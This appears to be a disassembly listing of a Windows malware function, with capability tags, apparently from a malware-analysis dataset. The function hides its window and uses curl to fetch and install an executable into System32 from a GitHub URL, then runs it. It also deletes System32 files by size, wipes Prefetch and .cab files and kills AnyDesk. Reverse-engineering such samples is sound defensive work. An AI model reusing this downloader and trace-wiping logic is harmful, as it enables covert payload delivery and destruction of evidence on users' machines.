Function at 0x402755
Capabilities:
Execute command
Hide graphical window

Disassembly:
push rbp
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], rdx
mov qword [rbp + 0x70], r8
mov dword [rbp + 0x78], r9d
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 0x9c40
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0xd]
mov rcx, rax
call fcn.00402bf0
lea rdx, [rbp + 0xd]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.curl__o_C:_Windows_System32_provtol.exe_https:__raw.githubusercontent.com_devxdfps_pqsup_main_FinalizarUmProcesso.exe
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xd]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
mov dword [rbp + 0x34], eax
cmp dword [rbp + 0x34], 0
jne 0x402819
lea rdx, str.Download_conclu
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x40283b
lea rdx, str.Erro_ao_tentar_baixar_o_arquivo.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0xe]
mov rcx, rax
call fcn.00402bf0
lea rdx, [rbp + 0xe]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.cmd__c_C:WindowsSystem32provtol.exe
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
lea rax, [rbp + 0xe]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov rcx, rax
call sym.system
mov dword [rbp + 0x30], eax
cmp dword [rbp + 0x30], 0
jne 0x4028bc
lea rdx, str.Aplicativo_provtol.exe_foi_iniciado_com_sucesso.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
jmp 0x4028de
lea rdx, str.Erro_ao_iniciar_o_aplicativo_provtol.exe.
mov rcx, qword [sym.imp.libstdc_6.dll_std::cerr]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rax, [rbp + 0xf]
mov rcx, rax
call fcn.00402be0
lea rdx, [rbp + 0xf]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.C:WindowsSystem32
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string_wchar_t_const__std::allocator_wchar_t__const_
lea rax, [rbp + 0xf]
mov rcx, rax
call sym.std::allocator_wchar_t_::allocator__
mov dword [rbp + 0x2c], 0x75d800
mov edx, dword [rbp + 0x2c]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.ListAndDeleteFilesBySize_std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const__unsigned_long_
mov byte [rbp + 0x2b], al
cmp byte [rbp + 0x2b], 0
je 0x402974
lea rdx, str.Waiting_before_checking_again...
mov rcx, qword [sym.imp.libstdc_6.dll_std::wcout]
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rdx, qword [0x00406940]
mov rcx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
mov dword [rbp + 0x1c], 5
lea rdx, [rbp + 0x1c]
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
lea rax, [rbp + 0x10]
mov rcx, rax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
cmp byte [rbp + 0x2b], 0
je 0x40297c
jmp 0x402917
lea rdx, str.All_matching_files_have_been_deleted.
mov rcx, qword [sym.imp.libstdc_6.dll_std::wcout]
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std::char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov rdx, qword [0x00406940]
mov rcx, rax
call sym.std::basic_ostream_wchar_t__std::char_traits_wchar_t___::operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
call sym.MoveFileToPicturess__
call sym.MoveFileToPictures__
call sym.deleteSlsCabFile__
call sym.deleteSlsCabFilee__
call sym.DeletePrefetchFiles__
lea rax, str.AnyDesk.exe
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.KillProcessByName_char_const_
test al, al
je 0x402a03
mov rax, qword [rbp + 0x20]
mov rdx, rax
mov rcx, qword [sym.imp.libstdc_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rdx, str._was_terminated.
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x00406930]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40299e